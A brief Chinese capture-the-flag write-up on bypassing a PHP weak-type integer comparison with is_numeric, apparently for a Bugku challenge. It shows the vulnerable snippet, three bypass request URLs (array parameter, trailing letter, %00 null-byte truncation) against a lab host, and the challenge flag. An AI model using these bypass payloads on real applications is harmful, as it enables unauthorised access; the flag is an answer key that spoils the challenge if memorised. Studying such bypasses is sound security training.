代码审计-弱类型整数大小比较绕过

$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;

is_numeric

同样可以用数组绕过、%00截断、添加其他字符

http://123.206.87.240:9009/22.php?password[]=1

http://123.206.87.240:9009/22.php?password=9999a

http://123.206.87.240:9009/22.php?password=9999%00

flag{bugku_null_numeric}
